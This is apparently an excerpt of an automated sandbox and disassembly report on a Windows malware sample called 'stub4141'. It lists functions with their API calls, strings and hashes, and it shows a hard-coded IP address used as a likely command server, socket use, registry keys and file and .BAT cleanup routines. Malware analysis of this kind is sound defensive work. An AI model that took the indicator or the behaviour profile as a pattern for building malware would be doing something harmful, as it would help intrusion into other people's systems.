Part of subcall function 00405D50: LocalFree.KERNEL32(00000000), ref: 00405E86

Strings

%s%s, xrefs: 0040661B
{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}, xrefs: 00406649, 00406785
{85CEBC84-7FEF-4A5E-8D36-DB9B65BD95B9}, xrefs: 00406707
"%s%s" %s, xrefs: 00406718
D, xrefs: 00406743

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Event$AllocCreateErrorLastclosesocketshutdown$CloseDirectoryFileHandleOpen__snwprintfsetsockoptwnsprintf
String ID: "%s%s" %s$%s%s$D${85CEBC84-7FEF-4A5E-8D36-DB9B65BD95B9}${FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}
API String ID: 1959907649-2844804103
Opcode ID: 790b38f816ed6c8919ddbd9a74ac52a3ed0ce9227e0f770ff35c7b2cfe431796
Instruction ID: 99591405624154c0e9a39cb4413859fd0e7c7e85350dd516ec195bda11e9ce21
Opcode Fuzzy Hash: 790b38f816ed6c8919ddbd9a74ac52a3ed0ce9227e0f770ff35c7b2cfe431796
Instruction Fuzzy Hash: 52815F71900218EFEB20DB64DC89FAE77B4FB48704F1088ADF509A7291DB755984CF69

Function 00413950 Relevance: 47.7, APIs: 25, Strings: 2, Instructions: 403registrymemoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 004139A3
_memset.LIBCMT ref: 00413A34
__snwprintf.LIBCMT ref: 00413A52
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,00000000,00000000), ref: 00413A7C
LocalAlloc.KERNEL32(00000040,?), ref: 00413B10
RegCloseKey.ADVAPI32(00000000), ref: 00413F26
LocalFree.KERNEL32(00000000), ref: 00413F3C
LocalFree.KERNEL32(00000000), ref: 00413F52
LocalFree.KERNEL32(00000000), ref: 00413F68
shutdown.WS2_32(?,00000002), ref: 00413F87
closesocket.WS2_32(?), ref: 00413F91

Part of subcall function 00420070: ___crtGetLocaleInfoEx.LIBCMTD ref: 0042008D

Part of subcall function 0041FCF0: ___crtGetLocaleInfoEx.LIBCMTD ref: 0041FD0D

Strings

{EE228DDC-782F-45A5-A48F-B7B5CBF44397}, xrefs: 00413A3C
SOFTWARE\%s, xrefs: 00413A41

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$InfoLocale___crt$AllocCloseCreate__snwprintf_memsetclosesocketsetsockoptshutdown
String ID: SOFTWARE\%s${EE228DDC-782F-45A5-A48F-B7B5CBF44397}
API String ID: 1227969885-3308596985
Opcode ID: 7a61350a02ddde69345015a42a940c4bad5a37194a8edd2b5ba9aa4dc39c6eb8
Instruction ID: 6a027ad83908e7f12a0f077983651faac3e4e2bfcb1442535075d1c0cfc691f2
Opcode Fuzzy Hash: 7a61350a02ddde69345015a42a940c4bad5a37194a8edd2b5ba9aa4dc39c6eb8
Instruction Fuzzy Hash: BC025870900218ABEB24CF54CC49BEEB7B4BB48305F1086EAE619A7291D7745FC5CF69

Function 004205C0 Relevance: 45.2, APIs: 30, Instructions: 186synchronizationmemorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00421240: lstrcpyA.KERNEL32(0048C500,82.147.85.218), ref: 00421294

WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042051D
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00420540
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00420558
setsockopt.WS2_32(00000000,0000FFFF,00000008,00000001,00000004), ref: 0042060B
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00420621
LocalAlloc.KERNEL32(00000040,00000004), ref: 00420638
CreateThread.KERNEL32(00000000,00000000,00420920,00000000,00000000,00000000), ref: 00420664
GetTickCount.KERNEL32 ref: 00420681
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004206A9
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004206C3
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004206DE
shutdown.WS2_32(00000000,00000002), ref: 00420777
closesocket.WS2_32(00000000), ref: 00420781
SetEvent.KERNEL32(00000000), ref: 00420792
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0042079E
CloseHandle.KERNEL32(00000000), ref: 004207B9
LocalFree.KERNEL32(00000000), ref: 004207D0
CloseHandle.KERNEL32(00000000), ref: 004207DA
shutdown.WS2_32(00000000,00000002), ref: 004207F3
closesocket.WS2_32(00000000), ref: 004207FD
CloseHandle.KERNEL32(00000000), ref: 00420809
ExitProcess.KERNEL32 ref: 00420850
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00420866
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00420877
SetEvent.KERNEL32(00000000), ref: 00420888
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00420894
CloseHandle.KERNEL32(00000000), ref: 004208A4
CloseHandle.KERNEL32(00000000), ref: 004208BB
CloseHandle.KERNEL32(00000000), ref: 004208D4
ReleaseMutex.KERNEL32(00000000), ref: 004208EE
CloseHandle.KERNEL32(00000000), ref: 004208F8
CloseHandle.KERNEL32(00000000), ref: 00420908
CloseHandle.KERNEL32(00000000), ref: 00420912

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: ObjectSingleWait$CloseHandle$Event$CreateLocalclosesocketshutdown$AllocCountExitFreeMutexProcessReleaseThreadTicklstrcpysetsockopt
String ID:
API String ID: 2113405211-0
Opcode ID: 60c3e0e41bb02bd340cc3e566f1bb0243476dd2e27cbf49f22de4225c6febd1e
Instruction ID: 4a2ecc64e19ac765362465440d91e5137403adfc367ba78dcd295444656624f1
Opcode Fuzzy Hash: 60c3e0e41bb02bd340cc3e566f1bb0243476dd2e27cbf49f22de4225c6febd1e
Instruction Fuzzy Hash: 5B716474A00205EBD718DFA4EE8DBAF77B5BB44701F504429F301A62E1C7B89988CF69

Function 020ECA37 Relevance: 43.7, APIs: 29, Instructions: 190memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ECA44
SHGetKnownFolderPath.SHELL32(00437A48,00000000,00000000,?), ref: 020ECA64
__snwprintf.LIBCMT ref: 020ECA89

Part of subcall function 020EA587: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 020EA5DB
Part of subcall function 020EA587: lstrlenW.KERNEL32(?), ref: 020EA5ED
Part of subcall function 020EA587: lstrlenW.KERNEL32(?), ref: 020EA600
Part of subcall function 020EA587: LocalAlloc.KERNEL32(00000040,?), ref: 020EA619
Part of subcall function 020EA587: __snwprintf.LIBCMT ref: 020EA641
Part of subcall function 020EA587: lstrlenW.KERNEL32(00000000), ref: 020EA64D
Part of subcall function 020EA587: CoTaskMemFree.COMBASE(?), ref: 020EA65C

LocalAlloc.KERNEL32(00000040,00000BB8), ref: 020ECAB6
__snprintf.LIBCMT ref: 020ECAE5
SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 020ECAFD
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ECB12
__snwprintf.LIBCMT ref: 020ECB3C
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 020ECB4A
GetLastError.KERNEL32 ref: 020ECB59
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ECB71
__snwprintf.LIBCMT ref: 020ECBA0
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 020ECBC2
WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000), ref: 020ECBEE
CloseHandle.KERNEL32(000000FF), ref: 020ECC00
LocalFree.KERNEL32(00000000), ref: 020ECC2A
CoTaskMemFree.COMBASE(?), ref: 020ECC34
CoTaskMemFree.COMBASE(?), ref: 020ECC3E
LocalFree.KERNEL32(00000000), ref: 020ECC48
LocalFree.KERNEL32(00000000), ref: 020ECC52
LocalFree.KERNEL32(00000000), ref: 020ECC5C
CloseHandle.KERNEL32(000000FF), ref: 020ECC73
LocalFree.KERNEL32(00000000), ref: 020ECC7D
LocalFree.KERNEL32(00000000), ref: 020ECC87
CoTaskMemFree.COMBASE(?), ref: 020ECC91
LocalFree.KERNEL32(00000000), ref: 020ECC9B
LocalFree.KERNEL32(00000000), ref: 020ECCA5
CoTaskMemFree.COMBASE(?), ref: 020ECCAF
LocalFree.KERNEL32(00000000), ref: 020ECCB9

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocTask$__snwprintf$FolderKnownPathlstrlen$CloseCreateFileHandle$DirectoryErrorLastWrite__snprintf
String ID:
API String ID: 2364451356-0
Opcode ID: 562953e54bce3dcc1118cff73e1e7145198c1d925e61c37b68a48a8c921eba65
Instruction ID: 783f5e182d1dba919d30d8980e93ab6738468bbf9145d3fc51c8ca8c8f9f60db
Opcode Fuzzy Hash: 562953e54bce3dcc1118cff73e1e7145198c1d925e61c37b68a48a8c921eba65
Instruction Fuzzy Hash: 56715C71A40309BFDB10EBE4DD89FAE77B5EB48B01F104929F602B62D0D7759940DB68

Function 020FB0C7 Relevance: 42.3, APIs: 28, Instructions: 276librarymemorysynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,0048778E), ref: 020FB0D9
LoadLibraryW.KERNEL32(004370D0), ref: 020FB0E9
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020FB100
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 020FB124
SetEvent.KERNEL32(0048BC24), ref: 020FB441
WaitForSingleObject.KERNEL32(0048BC28,000000FF), ref: 020FB450
CloseHandle.KERNEL32(0048BC28), ref: 020FB45D
CloseHandle.KERNEL32(0048BC24), ref: 020FB472
ExitProcess.KERNEL32 ref: 020FB492

Part of subcall function 020F6007: SetEvent.KERNEL32(0048C660), ref: 020F6023
Part of subcall function 020F6007: WaitForSingleObject.KERNEL32(0048C664,000000FF), ref: 020F603B
Part of subcall function 020F6007: CloseHandle.KERNEL32(0048C664), ref: 020F6051
Part of subcall function 020F6007: SetEvent.KERNEL32(0048BC1C), ref: 020F6066
Part of subcall function 020F6007: WaitForSingleObject.KERNEL32(0048BC20,000000FF), ref: 020F607E
Part of subcall function 020F6007: CloseHandle.KERNEL32(0048BC20), ref: 020F6094
Part of subcall function 020F6007: CloseHandle.KERNEL32(0048BC1C), ref: 020F60A9
Part of subcall function 020F6007: SetEvent.KERNEL32(0048C3AC), ref: 020F60BF
Part of subcall function 020F6007: WaitForSingleObject.KERNEL32(0048C3A8,000000FF), ref: 020F60D7
Part of subcall function 020F6007: CloseHandle.KERNEL32(0048C3A8), ref: 020F60EC
Part of subcall function 020F6007: SetEvent.KERNEL32(0048BC0C), ref: 020F6102
Part of subcall function 020F6007: WaitForSingleObject.KERNEL32(0048BC10,000000FF), ref: 020F611A
Part of subcall function 020F6007: CloseHandle.KERNEL32(0048BC10), ref: 020F612F
Part of subcall function 020F6007: CloseHandle.KERNEL32(0048BC0C), ref: 020F6145

CloseHandle.KERNEL32(0048A2B8), ref: 020FB4AD
CloseHandle.KERNEL32(00000000), ref: 020FB4BD
CloseHandle.KERNEL32(0048C3E8), ref: 020FB4E3
LocalFree.KERNEL32(00000000), ref: 020FB4F3
ExitProcess.KERNEL32 ref: 020FB504

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait$ExitLocalProcess$AllocFileFreeLibraryLoadModuleMutexNameOpen
String ID:
API String ID: 2953619224-0
Opcode ID: 17e1c4b4dda264da26a96913dff0225a9bb81e5838a61ebc173086e3d16f0251
Instruction ID: d163f0a54a0f8942fc36de52ea4d483c7fb26c73072310215f86960856d4c176
Opcode Fuzzy Hash: 17e1c4b4dda264da26a96913dff0225a9bb81e5838a61ebc173086e3d16f0251
Instruction Fuzzy Hash: 76B17470984304EFDBE4AFA0DD897AD77F5EB0C709F104929E701A5AA0C7B49484EF59

Function 0040D420 Relevance: 42.1, APIs: 18, Strings: 6, Instructions: 129sleepregistrymemoryCOMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00100002,00000000,{A59C1A65-527B-4D87-BBEF-BC463D75B80C}), ref: 0040D43F
SetEvent.KERNEL32(00000000), ref: 0040D45B
CloseHandle.KERNEL32(00000000), ref: 0040D468
OpenMutexW.KERNEL32(00100000,00000000,{F1CD0D7A-3347-493C-BE75-8E3C69350254}), ref: 0040D484
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0040D4A2
CloseHandle.KERNEL32(00000000), ref: 0040D4AF
SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 0040D4C5
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040D4DA
__snwprintf.LIBCMT ref: 0040D51F
lstrlenW.KERNEL32(00000000), ref: 0040D52E
_memset.LIBCMT ref: 0040D56A
GetFileAttributesW.KERNEL32(00000000), ref: 0040D5A5
SHFileOperationW.SHELL32(?), ref: 0040D5C2
Sleep.KERNEL32(000003E8), ref: 0040D5E2
LocalFree.KERNEL32(00000000), ref: 0040D5F1
CoTaskMemFree.COMBASE(?), ref: 0040D5FE
wnsprintfW.SHLWAPI ref: 0040D62E
RegDeleteKeyExW.ADVAPI32(80000001,?,00000000,00000000), ref: 0040D647

Strings

%s\%s, xrefs: 0040D50E
Software\%s, xrefs: 0040D61D
{64FB06B3-61C6-4C6D-8DD4-4324259979E0}, xrefs: 0040D618
{F1CD0D7A-3347-493C-BE75-8E3C69350254}, xrefs: 0040D478
{8A6A0F3A-84CC-4F26-BB87-BBFACDA6E983}, xrefs: 0040D502
{A59C1A65-527B-4D87-BBEF-BC463D75B80C}, xrefs: 0040D433

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseEventFileFreeHandleLocalOpen$AllocAttributesDeleteFolderKnownMutexObjectOperationPathSingleSleepTaskWait__snwprintf_memsetlstrlenwnsprintf
String ID: %s\%s$Software\%s${64FB06B3-61C6-4C6D-8DD4-4324259979E0}${8A6A0F3A-84CC-4F26-BB87-BBFACDA6E983}${A59C1A65-527B-4D87-BBEF-BC463D75B80C}${F1CD0D7A-3347-493C-BE75-8E3C69350254}
API String ID: 1130256755-68403772
Opcode ID: 1ded1d8bb16e33f3e9e32d447178f0ab4bce0874a3f2c313085b98e455fc85bb
Instruction ID: 7dc2035cf2c682ffbba2e000836ce3b5c34cd2c04a9ac2ca9cf909ec7dfbe3fc
Opcode Fuzzy Hash: 1ded1d8bb16e33f3e9e32d447178f0ab4bce0874a3f2c313085b98e455fc85bb
Instruction Fuzzy Hash: AA515C70D08254AFDB60DB60CC49BAD73B4EF08705F5045EAE50DB62C4DBB8AA84CF99

Function 0041A970 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 209synchronizationCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 0041A994
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 0041A9B8
LocalFree.KERNEL32(00000000), ref: 0041AC68
CloseHandle.KERNEL32(00000000), ref: 0041AC7D
CloseHandle.KERNEL32(00000000), ref: 0041AC9D
CloseHandle.KERNEL32(00000000), ref: 0041ACBD

Strings

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0, xrefs: 0041AA01

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$Create$EventFreeLocalMutex
String ID: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0
API String ID: 4059844998-3593534564
Opcode ID: 3c8a4678c46fffecdd5d9f6c612b8e888ada19679b7e0fddd2a5e722b97f48fd
Instruction ID: 4abfb8e8c108452513a0bbfe1dc7acc07168ea1f43251f0f7ea92f7dd49b7fc4
Opcode Fuzzy Hash: 3c8a4678c46fffecdd5d9f6c612b8e888ada19679b7e0fddd2a5e722b97f48fd
Instruction Fuzzy Hash: 6C91A270640204EFDB28CF60ED89BAE77B5FB44300F10856EF60596290D7B959DACF6A

Function 020FABD7 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 209synchronizationCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 020FABFB
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 020FAC1F
LocalFree.KERNEL32(00000000), ref: 020FAECF
CloseHandle.KERNEL32(0048C3AC), ref: 020FAEE4
CloseHandle.KERNEL32(0048C370), ref: 020FAF04
CloseHandle.KERNEL32(0048C36C), ref: 020FAF24

Strings

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0, xrefs: 020FAC68

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseHandle$Create$EventFreeLocalMutex
String ID: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0
API String ID: 4059844998-3593534564
Opcode ID: 3c8a4678c46fffecdd5d9f6c612b8e888ada19679b7e0fddd2a5e722b97f48fd
Instruction ID: 58020edc94bc5332eae8fc1989108666d6a4064d7ead58ed62ba1790783ec1ce
Opcode Fuzzy Hash: 3c8a4678c46fffecdd5d9f6c612b8e888ada19679b7e0fddd2a5e722b97f48fd
Instruction Fuzzy Hash: BD91A171680304EFDB69CF60ED88BAE77B9BB44301F008569EB09962D0D7B45989DF68

Function 0042736F Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004254B9), ref: 00427377
__mtterm.LIBCMT ref: 00427383

Part of subcall function 004270BC: DecodePointer.KERNEL32(00000006,004274E5,?,004254B9), ref: 004270CD
Part of subcall function 004270BC: TlsFree.KERNEL32(00000005,004274E5,?,004254B9), ref: 004270E7
Part of subcall function 004270BC: DeleteCriticalSection.KERNEL32(00000000,00000000,77535810,?,004274E5,?,004254B9), ref: 0042BB78
Part of subcall function 004270BC: _free.LIBCMT ref: 0042BB7B
Part of subcall function 004270BC: DeleteCriticalSection.KERNEL32(00000005,77535810,?,004274E5,?,004254B9), ref: 0042BBA2

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00427399
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004273A6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 004273B3
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004273C0
TlsAlloc.KERNEL32(?,004254B9), ref: 00427410
TlsSetValue.KERNEL32(00000000,?,004254B9), ref: 0042742B
__init_pointers.LIBCMT ref: 00427435
EncodePointer.KERNEL32(?,004254B9), ref: 00427446
EncodePointer.KERNEL32(?,004254B9), ref: 00427453
EncodePointer.KERNEL32(?,004254B9), ref: 00427460
EncodePointer.KERNEL32(?,004254B9), ref: 0042746D
DecodePointer.KERNEL32(00427240,?,004254B9), ref: 0042748E
__calloc_crt.LIBCMT ref: 004274A3
DecodePointer.KERNEL32(00000000,?,004254B9), ref: 004274BD
GetCurrentThreadId.KERNEL32 ref: 004274CF

Strings

FlsSetValue, xrefs: 004273A8
FlsFree, xrefs: 004273B5
FlsGetValue, xrefs: 0042739B
FlsAlloc, xrefs: 00427393
KERNEL32.DLL, xrefs: 00427372

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: ad10c08110b5e2fad08ee2d89b31212530f30dc6422df0f8f67828e11385092b
Instruction ID: 53a75af15b9675265a214d65c40030659ce5902b4ab14f0045b10446a72d189c
Opcode Fuzzy Hash: ad10c08110b5e2fad08ee2d89b31212530f30dc6422df0f8f67828e11385092b
Instruction Fuzzy Hash: AF315371A043229BDB21AF75BDC561E3EA4EB443A4B50593FE810932B0DB789841DFBC

Function 0040D660 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 95memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,00411958), ref: 0040D67A
SHGetKnownFolderPath.SHELL32(00437A48,00000000,00000000,?), ref: 0040D696
__snwprintf.LIBCMT ref: 0040D6B7
DeleteFileW.KERNEL32(00000000), ref: 0040D6C3
CoTaskMemFree.COMBASE(?), ref: 0040D6CD
LocalFree.KERNEL32(00000000), ref: 0040D6D7
SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 0040D6EA
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040D6FF
__snwprintf.LIBCMT ref: 0040D729
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040D738
__snwprintf.LIBCMT ref: 0040D763
DeleteFileW.KERNEL32(00000000), ref: 0040D76F
RemoveDirectoryW.KERNEL32(00000000), ref: 0040D779
LocalFree.KERNEL32(00000000), ref: 0040D783
LocalFree.KERNEL32(00000000), ref: 0040D78D
CoTaskMemFree.COMBASE(?), ref: 0040D797

Strings

{9206FD25-560E-4C37-B7D4-BE012C703254}, xrefs: 0040D712, 0040D74C
%s\%s\%s.BAT, xrefs: 0040D755
{28E4FAC0-6C6D-42C5-89DC-9B74866D97BB}, xrefs: 0040D6A0
%s\%s, xrefs: 0040D71B
{4881F4DD-9BA7-4C0C-8EAF-062EC37C12F9}, xrefs: 0040D747
%s\%s.lnk, xrefs: 0040D6A9

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Alloc__snwprintf$DeleteFileFolderKnownPathTask$DirectoryRemove
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.BAT${28E4FAC0-6C6D-42C5-89DC-9B74866D97BB}${4881F4DD-9BA7-4C0C-8EAF-062EC37C12F9}${9206FD25-560E-4C37-B7D4-BE012C703254}
API String ID: 1689349194-2485340420
Opcode ID: adc988fa129a186cb7bfee996dc3ba28f5c3e4f459bd790ec0aab9ab70888f58
Instruction ID: 7ca4aa0f0335caca39ba59902cfb3f5233442fc5e053f5e4f0f4f0c69f62cadd
Opcode Fuzzy Hash: adc988fa129a186cb7bfee996dc3ba28f5c3e4f459bd790ec0aab9ab70888f58
Instruction Fuzzy Hash: 9F317075A40309BFDB10EBE4DD8AF6E7775AF08B01F100969F601B62D1D7B89A04DB68

Function 020F3BB7 Relevance: 37.9, APIs: 25, Instructions: 403registrymemoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 020F3C0A
_memset.LIBCMT ref: 020F3C9B
__snwprintf.LIBCMT ref: 020F3CB9
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,00000000,00000000), ref: 020F3CE3
LocalAlloc.KERNEL32(00000040,?), ref: 020F3D77
RegCloseKey.ADVAPI32(00000000), ref: 020F418D
LocalFree.KERNEL32(00000000), ref: 020F41A3
LocalFree.KERNEL32(00000000), ref: 020F41B9
LocalFree.KERNEL32(00000000), ref: 020F41CF
shutdown.WS2_32(?,00000002), ref: 020F41EE
closesocket.WS2_32(?), ref: 020F41F8

Part of subcall function 021002D7: ___crtGetLocaleInfoEx.LIBCMTD ref: 021002F4

Part of subcall function 020FFF57: ___crtGetLocaleInfoEx.LIBCMTD ref: 020FFF74

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$InfoLocale___crt$AllocCloseCreate__snwprintf_memsetclosesocketsetsockoptshutdown
String ID:
API String ID: 1227969885-0
Opcode ID: 362f7fe7cb86bfd68599eff47e07ab213f0acb779439ec71f5bb2b2c00605fad
Instruction ID: e5ba3a8e45452f645fa707ef6bb1dfee3209a46fd14c768e6d11a2f65e24ecfa
Opcode Fuzzy Hash: 362f7fe7cb86bfd68599eff47e07ab213f0acb779439ec71f5bb2b2c00605fad
Instruction Fuzzy Hash: 44024870940219AFEB64CB54CC89FAEB3B9BB48300F1086D8E719A76D1DB705A84DF65

Function 00418F10 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 276COMMON

Download Yara Rule

Strings

<, xrefs: 0041905F
text/plain, xrefs: 00418F20
application/octet-stream, xrefs: 00418F19
NTDLL.DLL, xrefs: 00418FA6
RtlTimeToSecondsSince1970, xrefs: 00418FBE
HEAD, xrefs: 00419177

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID:
String ID: <$HEAD$NTDLL.DLL$RtlTimeToSecondsSince1970$application/octet-stream$text/plain
API String ID: 0-1210979922
Opcode ID: 0085aca2ac05de162793f958a4e47f8dc547b2a9f1dd4294ba4a8790d46f4673
Instruction ID: 9b424a1b9a79c366d2f2f0a18dc85d3a9889b98089f5e17ede79243491cc39c5
Opcode Fuzzy Hash: 0085aca2ac05de162793f958a4e47f8dc547b2a9f1dd4294ba4a8790d46f4673
Instruction Fuzzy Hash: 6AC11C70A00218EFEB24CFA4CC88BDEB7B5FF48704F108999E609AB291D7749985CF54

Function 00418900 Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 369COMMON

Download Yara Rule

Strings

text/plain, xrefs: 00418910
GET, xrefs: 00418B53
<, xrefs: 00418A3B
application/octet-stream, xrefs: 00418909
LmC, xrefs: 00418999

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

